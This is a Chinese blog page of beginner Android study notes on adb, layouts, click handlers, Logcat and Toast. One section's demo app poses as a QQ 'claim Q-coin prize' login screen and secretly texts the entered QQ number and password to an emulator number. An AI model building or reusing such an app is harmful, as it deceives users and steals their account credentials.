当前位置: 代码迷 >> Android >> 安卓第一天札记
  详细解决方案

安卓第一天札记

热度:71   发布时间:2016-04-24 11:42:58.0
安卓第一天笔记

安卓第一天笔记

1.移动通信的发展G--(generation)

1G:模拟制式

2G:GSM/CDMA

2.5G:GPRS

2.75G:EDGE

3G:WCDMA/CDMA2000/TD-SCDMA

3.5G/3.75G:HSDPA/HSUPA/HSDPA+

4G:TD-LTE( Long term evolution)长期演进

GSM9K -->GPRS:42K--> EDGE:172K -->WCDMA364k -->HSDPA/HSUPA:14.4M -->HSDPA+/HSUPA+:42M -->FDD-LTE:300M

2.安卓结构图


从上到下:

Application应用程序层 ---------JAVA

Application Framework应用程序框架层-----------JAVA

Libraries中间件类库层主要由C语言编写

Android Runtime运行环境包含运行时的核心类库与Dalvik Virtual machine

Linux Kernel主要以Linux2.3.6为基础,使用C语言写的各种硬件的驱动

 

当一个APP运行时,从上到下的调用

 

 

 

3.JVMDalvik虚拟机的区别


 

JVM中第一个java文件都是一个单独的.class字节码文件

Dalvid中把所有的.class字节码文件都打包为了一个.dex的文件

JVM是基础栈的------内存

Dalvik基础寄存器,---CPU--速度快上很多

 

 

 

4.adb 常见命令--Android debug bridge

adb devices---列出当前在线的安卓设备


adb kill-server --杀死当前的adb服务


adb start-server   启动adb或者直接使用adb devices


adb logcat 查看Log


adb shell 挂载到Linux系统空间


-s表示要使用哪个设备

adb install <应用程序(加扩展名)>      安装应用程序

单个设备安装


 

单个设置卸载

adb uninstall <程序包名>


 

多个设备安装


多个设备卸载


 

adb pull <remote> <local>  把模拟上的文件拉到本地

adb push <local> <remote>把本地的文件放在模拟上


DDMS中可以使用图形化的方式

 

5.虚拟机


硬件加速器,如果安装成功,启动模拟器时会有如下提示


 

6.SDK目录结构


 

SDK Manager


7.安卓项目目录结构

 

8.DDMS

DDMS 简介

DDMS 是 Dalvik Debug Monitor Service 的简称。DDMS 为 IDE 和 emulator 以及 Android 真机架起来
了一座桥梁。开发人员可以通过 DDMS 看到目标机器上运行的进程/线程状态,可以看进程的 heap 信息,
可以查看 logcat 信息,可以查看进程分配内存情况,可以向目标机发送短信以及打电话,可以向 Android
发送地理位置信息。下面以 Eclipse 的 DDMS perspective 为例简单介绍 DDMS 的功能

左上部分为 Devices 窗口,列出了所有已经跟 adb 成功连接的模拟器(包括真机)以及各个模拟器中
所有运行的进程。如图 1-12 所示,最上面一排从左到右一共有 9 个可用按钮,分别为: 调试某个进程,
更新进程堆栈信息, 下载进程堆栈数据到本地, 调用垃圾回收器, 更新线程, 开启方法性
能分析数据收集, 停止某个进程, 抓取 Android 目前的屏幕, 查看当前界面视图树结构。

 9.HelloWorld

创建Helloworld

点击 ADT 左上角的 File 按钮,然后选择 New,然后点击 Android Application Project开
始 Android 工程的创建。(或者鼠标右击,在弹出的快捷菜单中创建也可以)。

 

 

该界面展示了是否创建图标,是否创建 activity,是否将该工程作为库工程,是否将
该工程添加到当前工作空间,是否将该工程添加到指定工作集等信息,通常情况下不需要我们修改默认的
配置,直接 Next 就行。

该界面提供了配置图标选项, 我们通过点击 Browser 按钮可以选择我们个性化的图标。
在学习阶段不需要使用,然后点击 Next...。

该向导界面可以让我们选择创建一个什么样式的 Activity,一般使用系统默认的 Blank
Activity 即可,然后点击 Next...。

这是最后一个向导界面了。 Activity Name 和 Layout Name 分别是让我们设置主 Activity
和其布局的名字,通常情况下使用默认名字即可。Navigation Type 是主界面 Activity 切换类型,使用 None
即可。然后点击 Finish 完成 Android 工程的创建。

 9.布局

  • 线性布局 linearlayout
  • 相对布局 Relativelayout
  • 帧布局 framelayout 
  • 表格布局 tablelayout
  • 绝对布局 absoluteLayout

 

线性布局

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:orientation="vertical"    tools:context=".MainActivity" >    <!-- 上面的文本显示 -->    <TextView        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:background="#33330000"        android:gravity="bottom|right"        android:hint="0"        android:lines="3"        android:paddingRight="5dp"        android:textSize="29sp" />    <!-- 下面的按键显示 -->    <LinearLayout        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:orientation="vertical" >        <!-- 第一排按键 -->        <LinearLayout            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:orientation="horizontal" >            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="C"                android:textColor="#ED7A20"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="DEL"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="÷"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="×"                android:textSize="20sp" />        </LinearLayout>        <!-- 第二排按键 -->        <LinearLayout            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:orientation="horizontal" >            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="7"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="8"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="9"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="-"                android:textSize="20sp" />        </LinearLayout>        <!-- 第三排按键 -->        <LinearLayout            android:layout_width="match_parent"            android:layout_height="wrap_content"            android:orientation="horizontal" >            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="4"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="5"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="6"                android:textSize="20sp" />            <Button                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="1"                android:text="+"                android:textSize="20sp" />        </LinearLayout>        <!-- 下面二排最外面 -->        <LinearLayout            android:layout_width="match_parent"            android:layout_height="wrap_content" >            <!-- 左边 -->            <LinearLayout                android:layout_width="0dp"                android:layout_height="wrap_content"                android:layout_weight="3"                android:orientation="vertical" >                <!-- 左边上 -->                <LinearLayout                    android:layout_width="match_parent"                    android:layout_height="wrap_content" >                    <Button                        android:layout_width="0dp"                        android:layout_height="wrap_content"                        android:layout_weight="1"                        android:text="1"                        android:textSize="20sp" />                    <Button                        android:layout_width="0dp"                        android:layout_height="wrap_content"                        android:layout_weight="1"                        android:text="2"                        android:textSize="20sp" />                    <Button                        android:layout_width="0dp"                        android:layout_height="wrap_content"                        android:layout_weight="1"                        android:text="3"                        android:textSize="20sp" />                </LinearLayout>                <!-- 左边下 -->                <LinearLayout                    android:layout_width="match_parent"                    android:layout_height="wrap_content" >                    <Button                        android:layout_width="0dp"                        android:layout_height="wrap_content"                        android:layout_weight="2"                        android:text="0"                        android:textSize="20sp" />                    <Button                        android:layout_width="0dp"                        android:layout_height="wrap_content"                        android:layout_weight="1"                        android:text="."                        android:textSize="20sp" />                </LinearLayout>            </LinearLayout>            <!-- 右边按键 -->            <Button                android:layout_width="0dp"                android:layout_height="match_parent"                android:layout_weight="1"                android:background="#ED7A20"                android:gravity="bottom|right"                android:text="="                android:textColor="#ffffff"                 android:paddingBottom="20dp"                android:paddingRight="20dp"/>        </LinearLayout>    </LinearLayout><AbsoluteLayout ></AbsoluteLayout></LinearLayout>

 

相对布局

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    tools:context=".MainActivity" >    <!-- 中间 -->    <Button        android:id="@+id/center"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:layout_centerInParent="true"        android:text="中间" />    <!-- 中上 -->    <Button        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:layout_above="@id/center"        android:layout_alignLeft="@id/center"        android:text="中上" />    <!-- 中下 -->    <Button        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:layout_alignLeft="@id/center"        android:layout_below="@id/center"        android:text="中下" />    <!-- 中左 -->    <Button        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:layout_alignBottom="@id/center"        android:layout_toLeftOf="@id/center"        android:text="中左" />    <!-- 中右 -->    <Button        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:layout_alignTop="@id/center"        android:layout_toRightOf="@id/center"        android:text="中右" />    <!-- 左上 -->    <Button        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="左上" />    <!-- 右上 -->    <Button        android:layout_alignParentRight="true"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="右上 " />         <!-- 左下 -->    <Button        android:layout_alignParentBottom="true"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="左下 " /> <!-- 右下 -->    <Button        android:layout_alignParentBottom="true"        android:layout_alignParentRight="true"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="右上 " /></RelativeLayout>

10.获取输入用户名与密码发送短信

 

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:gravity="center_horizontal"    android:orientation="vertical"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    tools:context=".MainActivity" >    <ImageView        android:background="#09A3DC"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:src="@drawable/qq" />    <!--输入QQ号码  -->    <EditText        android:id="@+id/et_qqNumber"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:layout_marginTop="20dp"        android:hint="请输入QQ号码"        android:inputType="numberSigned" />    <!--输入QQ密码-->    <EditText        android:id="@+id/et_qqPassword"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:layout_marginTop="20dp"        android:hint="请输入QQ密码"        android:inputType="textPassword" />            <Button            android:id="@+id/btn_login"        android:layout_width="match_parent"        android:layout_height="wrap_content"        android:layout_marginTop="20dp"        android:textColor="#ffffff"        android:background="#09A3DC"        android:text="登录领取Q币大奖"/></LinearLayout>

 

Activity

/** * 一键领取Q币 * 步骤: * 1.设置单击事件 * 2.获取输入的QQ号码与密码 * 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续 * 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取 * 5.发送QQ号码与密码 * 6.添加发送SMS的权限SEND_SMS *      * @author 刘楠 * * 2016-2-17下午7:48:53 */public class MainActivity extends Activity {    /*     * QQ号码     */     EditText et_qqNumber;    /*     * QQ密码     */     EditText et_qqPassword;    /*     * 登录领取Q币     */     Button btn_login;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        /*         * 初始化         */        /*         * QQ号码         */          et_qqNumber=(EditText) findViewById(R.id.et_qqNumber);        /*         * QQ密码         */          et_qqPassword=(EditText) findViewById(R.id.et_qqPassword);        /*         * 登录领取Q币         */          btn_login=(Button) findViewById(R.id.btn_login);          /*           * 设置点击事件           */          btn_login.setOnClickListener(new OnClickListener() {                        @Override            public void onClick(View v) {                //2.获取输入的QQ号码与密码                                String qq = et_qqNumber.getText().toString().trim();                String password = et_qqPassword.getText().toString().trim();                 // 3.判断输入获取的内容是否为空,为空就给用户提示Toast提示,不为空就继续                if(TextUtils.isEmpty(qq)|| TextUtils.isEmpty(password)){                    Toast.makeText(MainActivity.this, "亲!   QQ号码或者密码不能为空", Toast.LENGTH_SHORT).show();                    return ;                }                // 4.使用短信管理器,是一个单例的类SmsManager.getDefault()来获取                SmsManager manager = SmsManager.getDefault();                                // 5.发送QQ号码与密码                String message="qq :"+qq+",pwd:"+password;                                manager.sendTextMessage("5556", null, message, null, null);            /*                                     * 分离短信                                 ArrayList<String> divideMessage = manager.divideMessage(message);                for (String str : divideMessage) {                    manager.sendTextMessage("5556", null, str, null, null);                }*/            }        });    }    }

11.一键打电话

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    tools:context=".MainActivity" >   <Button        android:onClick="callPhone"       android:layout_width="match_parent"       android:layout_height="match_parent"       android:text="一键呼叫文文去做大保健"/></RelativeLayout>

12.点击事件的4种写法

 

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    android:orientation="vertical"    tools:context=".MainActivity" >    <Button        android:id="@+id/btn01"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="第一种写法" />    <Button        android:id="@+id/btn02"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="第二种写法" />    <Button        android:id="@+id/btn03"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="第三种写法" />    <Button        android:onClick="click04"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="第四种写法" />        <Button        android:id="@+id/btn05"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="第三种写法" /></LinearLayout>

 

/** * 点击事件的4种写法:  * 1.写匿名内部类  * 2.内部类  * 3.Activity实现OnClickListener接口 * 4.在布局文件中写onClick属性,在Activity中写对应 的方法,必须为public void 对应的方法名(View v) *  * @author 刘楠 *  *         2016-2-18上午9:43:04 */public class MainActivity extends Activity implements OnClickListener {    /*     * 第一种写法     */    private Button btn01;    /*     * 第二种写法     */    private Button btn02;    /*     * 第三种写法     */    private Button btn03;    /*     * 第三种写法     */    private Button btn05;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        btn01 = (Button) findViewById(R.id.btn01);        btn02 = (Button) findViewById(R.id.btn02);        btn03 = (Button) findViewById(R.id.btn03);        btn05 = (Button) findViewById(R.id.btn05);        /*         * 第一种点击事件,匿名内部类,按键一         */        btn01.setOnClickListener(new OnClickListener() {            @Override            public void onClick(View v) {                int id = v.getId();                Toast.makeText(MainActivity.this, "第一种,当前ID" + id,                        Toast.LENGTH_SHORT).show();            }        });        /*         * 第二种 点击事件,内部类 按键二         */        btn02.setOnClickListener(new Bt02Litener());        /*         * 第三种写法         */        btn03.setOnClickListener(this);        btn05.setOnClickListener(this);    }    /*     * 第四种写法     */    public void click04(View v) {        Toast.makeText(MainActivity.this, "第四种写法", Toast.LENGTH_SHORT).show();    }    /*     * 第二种 点击事件,内部类 按键二     */    private class Bt02Litener implements OnClickListener {        @Override        public void onClick(View v) {            int id = v.getId();            Toast.makeText(MainActivity.this, "第二种,当前ID" + id,                    Toast.LENGTH_SHORT).show();        }    }    /**     * 第三种 事件监听     */    @Override    public void onClick(View v) {        int id = v.getId();        // 判断        switch (id) {        case R.id.btn03:            // 调用方法            btn03();            break;        case R.id.btn05:            // 调用方法            btn05();            break;        }    }    /*     * 按键3     */    public void btn03() {        Toast.makeText(this, "按键3", Toast.LENGTH_SHORT).show();    }    /*     * 按键5     */    public void btn05() {        Toast.makeText(this, "按键5", Toast.LENGTH_SHORT).show();    }}

 

 

 

 

/** * 一键打电话功能 步骤:  * 1.使用意图对象 Intent intent = new Intent();  * 2.设置Action * 告诉系统我要打电话,setAction(Intent.Action_CALL),调用google提供好的功能 * 3.设置Data数据setData(Uri.parse("tel://电话号码")) tel://相当用http://是一种协议  *  * ACTION_DIAL tel:123 -- Display the phone dialer with the given number filled * in. *  *  * 4.启动一个新的Activity界面 5.添加权限CALL_PHONE *  * @author 刘楠 *  *         2016-2-17下午7:40:42 */public class MainActivity extends Activity {    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);    }    /**     *      * @param view     */    public void callPhone(View view) {        // 1.使用意图对象 Intent intent = new Intent();        Intent intent = new Intent();        // 2.设置Action 告诉系统我要打电话,setAction(Intent.Action_CALL)        intent.setAction(Intent.ACTION_CALL);        // 3.设置Data数据setData(Uri.parse("tel://电话号码"))        intent.setData(Uri.parse("tel://10086"));        // 4.启动一个新的Activity界面        startActivity(intent);    }}

 

13Logcat的使用

 

public class MainActivity extends Activity {    private static final String TAG = "MainActivity";    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        Log.v(TAG, "verbose");        Log.d(TAG, "debug");        Log.i(TAG, "info");        Log.w(TAG, "warn");        Log.e(TAG, "error");        Log.wtf(TAG, "wtf");    }

TAG一般都使用类名

 

 14 Juint测试框架

 

写一个类继承AndroidTestCase

 

 在Manifest.xm清单文件中添加<instrumentation    android:name="android.test.InstrumentationTestRunner"        android:targetPackage="com.itheima.test" >    </instrumentation><uses-library android:name="android.test.runner"/>

和JAVA中的junit 一样的使用

15 提示Toast

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    xmlns:tools="http://schemas.android.com/tools"    android:layout_width="match_parent"    android:layout_height="match_parent"    android:paddingBottom="@dimen/activity_vertical_margin"    android:paddingLeft="@dimen/activity_horizontal_margin"    android:paddingRight="@dimen/activity_horizontal_margin"    android:paddingTop="@dimen/activity_vertical_margin"    android:orientation="vertical"    tools:context=".MainActivity" >    <Button        android:id="@+id/btn_simple"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="普通Toast" /><Button         android:id="@+id/btn_toast"        android:layout_width="wrap_content"        android:layout_height="wrap_content"        android:text="带图片Toast" />    </LinearLayout>

 

 

/* * Toast */public class MainActivity extends Activity {    /*     * 普通     */    private Button btn_simple;    /*     * 带图片的     */    private Button btn_toast;        @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);                btn_simple = (Button) findViewById(R.id.btn_simple);        btn_toast = (Button) findViewById(R.id.btn_toast);        /*         * 设置监听事件步骤         * 1.事件源,如按键 btn_simple         * 2.事件 OnClick         * 3.监听器new OnClickListener         * 3.绑定事件源与事件 setOnClickListener(new OnClickListener() {}         */        btn_simple.setOnClickListener(new OnClickListener() {                        @Override            public void onClick(View v) {                Toast.makeText(MainActivity.this, "简单的文本提示信息", Toast.LENGTH_SHORT).show();            }        });                /*         * 带图片的Toast         */        btn_toast.setOnClickListener(new OnClickListener() {                        @Override            public void onClick(View v) {                //创建Toast                Toast toast = new Toast(MainActivity.this);                                //设置Toast显示位置                toast.setGravity(Gravity.CENTER, 0, 0);                //创建一个ImageView                                ImageView iv = new ImageView(MainActivity.this);                iv.setImageResource(R.drawable.tools);                                //创建容器                LinearLayout ll = new LinearLayout(MainActivity.this);                                ll.addView(iv);                //创建一个文本                TextView tv = new TextView(MainActivity.this);                tv.setText("带图片提示信息");                                tv.setTextSize(24);                tv.setTextColor(Color.MAGENTA);                                ll.addView(tv);                                toast.setView(ll);                                toast.setDuration(Toast.LENGTH_SHORT);                                toast.show();                            }        });    }}

 

 

  相关解决方案